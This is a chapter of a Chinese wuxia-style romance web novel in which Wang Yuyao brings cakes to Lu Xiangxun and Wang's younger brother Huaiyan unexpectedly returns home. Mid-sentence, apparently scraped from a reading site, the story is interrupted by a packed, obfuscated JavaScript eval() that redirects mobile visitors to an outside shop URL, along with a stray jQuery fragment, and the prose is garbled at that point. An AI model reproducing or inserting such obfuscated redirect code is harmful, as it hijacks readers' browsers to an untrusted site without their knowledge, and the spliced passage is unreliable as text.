市集上新出了些糕点,王聿尧特意吩咐下人买来装好,专程送去给陆相旬尝尝。陆相旬已经早起练过功,只穿着素衣在庭院青石路上慢慢踱步。听见下人通传,他立即快步迎上前,想要接过那些糕点:“聿尧,你太客气了。”

    王聿尧微微侧过身,下颌轻轻一扬,示意身侧小厮。那小孩极为机灵,立刻深深躬身,恭敬开口:“陆少侠,这活儿哪能让您来做,交给我拿就好。”

    陆相旬的手停在半路,听见一旁的王聿尧轻轻笑了一声。其实那人自己手中也托着一份打包好的点心,陆相旬也跟着笑了,转而看着王聿尧,伸手接过来,指尖好似不经意地擦过他的手背。

    王聿尧垂下眼睛避开他的目光,手指无意识地摩挲着袖边,温和地说道:“是云禧斋新出的青梅打糕,现下天气热,店家用碎冰衬着装盒。我怕耽搁久了,糕会融成一团,所以单独包着拿过来。”

    陆相旬低头看着他,顿了顿才说:“……谢谢聿尧。”

    陆相旬在其他人面前,会礼数周全地唤他王公子,但是二人独处时,却总是叫他名字。这样亲密的称呼搅得王聿尧心绪纷乱,但他面上还是平和淡然的样子,似乎二人当真是熟知多年的挚友,所以唤名字也没关系。

    小厮把沉甸甸的食盒放在一旁的石桌上,院子里静悄悄的,旁边的程见初房间没有一丝声响。王聿尧抬眼飞快地扫了一下陆相旬,推了推那包单独包好的点心:“……程少侠还未起?食盒里的,可以留一些给他吃,这个青梅打糕,嗯……”

    陆相旬低声笑了:“我藏起来自己吃,不给初一。”

    王聿尧的耳尖红了起来,只是抿着嘴笑。其实他身姿颀长,到底是大户人家的公子,只是站着便显高挑挺拔。但是在陆相旬面前,一身的温润文气,反倒衬得他纤弱了一些。两人沉默地站了半晌,最后还是陆相旬抬手轻轻拽了拽他的袖口,两个人在椅子上坐下。

    陆相旬打开纸包,打糕上的青梅凝了些水汽,显得晶莹剔透。他捡起一块,先递给王聿尧:“我们一起吃。”

    王聿尧犹豫了一下,本想说些什么,但迟疑片刻,还是伸手接过来,小小地咬了一口。陆相旬看着他问道:“你怎么起这么早?初一若是偷懒不想练功,都要睡到日上三竿才出屋子呢。”

    王聿尧见他也拿起一块打糕吃下,不由得笑了:“嗯……要早起读书,已经习惯了。”

    “我若有你这样的弟弟,不知能省多少心力。”陆相旬轻轻叹了口气,“我叫初一读书,每日都要拿戒尺在一旁盯着。——令弟读书也要你操心吗?”

    王聿尧愣了一下,“淮晏吗?”

    陆相旬又咬了口点心,含糊地说:“嗯……嗯,因为听说你也有个胞弟……”

    “淮晏可比程少侠顽劣得多。”王聿尧忍不住笑了,“家里专门请了先生教我们读书,我倒是不用专门盯着他做功课。可要是先生跟爹娘告状,他也少不了要挨几下手板的。”

    陆相旬不知道想到了什么,浅浅地笑起来:“啊……打手板有点疼的。”

    他还想说些什么,那边院门忽然打开,林知退从外面跑了进来:“师兄,聿尧!”

    王聿尧立刻放下糕点,起身看他:“阿知,你来这么早啊?”

    林知退跑过来,故作神秘地挤了挤鼻子:“聿尧,你猜谁回来了?”

    王聿尧还没等说话,陆相旬已经站了起来,朝门口看去。很快院门外先探进两条胳膊,扛着一个偌大的礼物盒,接着王淮晏颠颠悠悠地走了进来。

    “哥哥!”他整个人挡在礼物后面,闷声闷气地叫到,“你来这后面厢房做什么?我刚刚还去你院子中找你了……”

    王聿尧眼睛一下亮了,赶忙跑过去,“淮晏!你什么时候回来的?——快给我,怎么不叫小庚拿着啊。”

    “他不肯啊,一定要亲手把礼物给你。”林知退哧哧笑着,“我抱着都不行呢,生怕我抢了去。”

    他们这样热闹,那边的房门也跟着打开,程见初揉着眼睛走了出来。林知退扭头看他,喊道:“初一,你看看谁回来啦?”

    程见初睡得迷迷糊糊,他昨夜伤口痒得很,折腾到子时也没睡着,最后只好爬起来练字。练字真好用啊,写了两页纸,程见初果然困得睁不开眼睛,终于爬回床上睡着了。

    眼下天还没亮多久,程见初就被外面的笑闹声吵醒了。他本想接着睡的,但是听见了林知退的笑声,就一咕噜翻身起来,全凭本能出去找人。还没等完全清醒,他就被拽到了院子中,抬眼看见了一个没见过的男子。

    王淮晏笑嘻嘻地把包好的盒子放在王聿尧手中,很得意地说:“这是给哥哥买的,我这一路买到的好东西都在这儿啦。”

    王聿尧伸手接过,险些没拿住。一旁的陆相旬连忙托住他的手,微微使力,不动声色地接了过来。王聿尧有些脸红,咕哝了一句谢谢,那边王淮晏却突然喊出来:“啊!你不是在长淮请我吃酒的那个大哥?”

    陆相旬睁大眼睛,好似刚刚才看见他一样,“啊……是——是你?”

    王淮晏好吃惊,但又觉着开心。他念叨着真巧啊真巧啊,然后贴着王聿尧跟他说:“哥哥,我认识这个大哥,他,他叫,叫叫叫——”

    “陆相旬。”陆相旬浅笑着报上了名字,不过并没有继续接他的茬,而是转向了程见初,问道:“你醒了?”

    程见初睡眼惺忪的,又假装很清醒的样子,努力睁着眼睛点头:“嗯,早就醒了。”

    林知退倚着他偷偷笑,也不拆穿。王聿尧见着弟弟了果然欣喜,他也顾不得别人了,拉着王淮晏看了半天,问他说:“去见过爹娘没有?还有冉玥和冉玙都想你呢。”

    冉玥刚十岁,冉玙更小些,两个幼妹与他们年纪差得挺多,平日倒不太和哥哥们玩。但是王淮晏还是小孩子心性,如果在家,他是陪着妹妹们最多的,所以她们也最缠他。

    “爹去上朝了,我怕娘还没梳妆好,所以想着吃过饭再去找她呢。”王淮晏咧嘴笑着,“冉玥冉玙的礼物也在外面,等她们起床了,我就送过去。”

    他说话间,一直不停地瞟陆相旬,又看看程见初,显然很好奇。林知退瞧见了,虽然他不太清楚为什么陆相旬会和王淮晏认识,但还是大大方方地介绍说:“淮晏,这是——呃,这是我朋友,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769356|205913||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    程见初,最近因为一些事情借住在你家,这几天就走了。”

    程见初看了他一眼,本来手都抬起来了,但听见林知退介绍自己是朋友,就又放下。他不说话,王淮晏就眼巴巴看着,几人对视片刻,程见初没办法了,只好又拱手作揖,很礼貌地说:“王公子,承蒙你兄长关照,这段时间打扰了。”

    王淮晏马上抱拳:“不用客气,我哥哥能结识你这般江湖豪杰,我也能跟着开开眼界呀!”

    程见初被他夸得有些不自在了,忍不住低头笑起来。王淮晏又转向陆相旬:“陆大哥,你怎么找来了?我当时骗你,我是松陵人士,结果现在就被揭穿了。”

    他虽然这样说着,可脸上一点也没有说谎的愧疚,还抿着嘴笑。陆相旬轻轻扯了下自己的袖子,很礼貌地笑了笑,“嗯……是,我并未记得你是哪里人,没想到会在这里遇见。”

    王聿尧眨了眨眼睛:“你们之前就认识?”

    “这位是我在长淮那边结识的大侠!”王淮晏眉眼扬起,带着些得意望着王聿尧,“当初他误将我认作旁人,我们还一同玩过几日,也算是一段缘分。”

    程见初默默看着他们,没有说话。

    陆相旬抬手抱了抱拳,“我那时只当王公子是旧相识,却不想看错了。”

    王聿尧有些困惑地跟着一起笑,不过也没再多问。王淮晏催他快些打开盒子看看:“都是一路搜集哥哥喜欢的东西,我还给你求到了李湛的墨宝呢!”

    王聿尧眼睛都亮了:“当真?”

    “当真!”王淮晏贴着他,“我早打听好了,那李湛年轻时有个青梅竹马,因为两家极力反对,二人才难以相守。我便编了个由头去求见,他果然给我写了!”

    大概是太了解自己弟弟了,王聿尧稍微敛了敛表情,神色复杂地看着他:“……你编了什么由头?”

    王淮晏嘿嘿一笑,偷偷瞥了一眼林知退,“也,也不算编的。哥哥同阿知哥哥情意深厚,爹娘也都应允你们结秦晋之好,只是迟迟未有婚讯,也不知道是不是落花有意——”

    他还没说完,王聿尧就呛着了。陆相旬想笑,就赶紧假装侧过身去看石桌上的礼物盒。程见初气得满脸震惊,另一边的林知退脸也跟着红起来,快步上前拉过王淮晏:“你这个小孩,怎么一回来就胡说八道!”

    王淮晏捂着嘴巴,闷闷地说:“实话也说不得,那我不说了。”

    王聿尧的耳尖都红了,看起来十分手足无措。陆相旬在旁边看着,又瞅瞅程见初憋得够呛,只好暗暗叹了口气,张口解围说:“……今日小公子回来,正巧我一直想报答王公子的收留之恩,不如我来做东,咱们去上京最好的酒楼,也当给淮……给小公子接风。”

    “哪能让陆大哥破费呢!” 王淮晏立刻开口,“我先去给娘请安,今日的午膳我来安排。——哥哥,你先把匣子打开瞧瞧哦。”

    他转身要走,接着又旋身回来,拿起桌上开封的青梅打糕咬了一口:“是云禧斋新出的糕点?没吃过呢。”

    王聿尧抬手打他:“你——你快去吧!!”

    王淮晏嘻嘻笑着答应一声,拿着糕点跑了。